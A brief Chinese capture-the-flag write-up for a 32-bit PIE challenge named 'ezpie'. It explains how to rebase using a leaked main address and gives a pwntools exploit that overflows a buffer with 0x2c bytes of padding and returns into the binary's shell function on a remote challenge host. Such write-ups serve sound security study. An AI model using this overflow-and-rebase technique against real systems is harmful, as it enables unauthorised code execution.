此题32位开启了pie保护，程序在每次加载时都会重载地址，不能直接用ida中的地址
根据题目中提示，可以将泄露出的main地址减去offset求出基址进行求解
编写exp：
from pwn import *
context(log_level='debug',os='linux',arch='x86',terminal=['tmux','splitw','-h'])
# io=process("./ezpie")
io=remote("1.14.71.254",28585)
elf=ELF("./ezpie")
io.recvline()
base_addr=int(io.recvline(),16)-elf.sym[b"main"]
# gdb.attach(io)
# pause()
payload=cyclic(0x2c)+p32(base_addr+elf.sym[b"shell"])
# payload=cyclic(0x2c)+p32(base_addr+elf.sym[b"shell"])
io.sendline(payload)
io.interactive()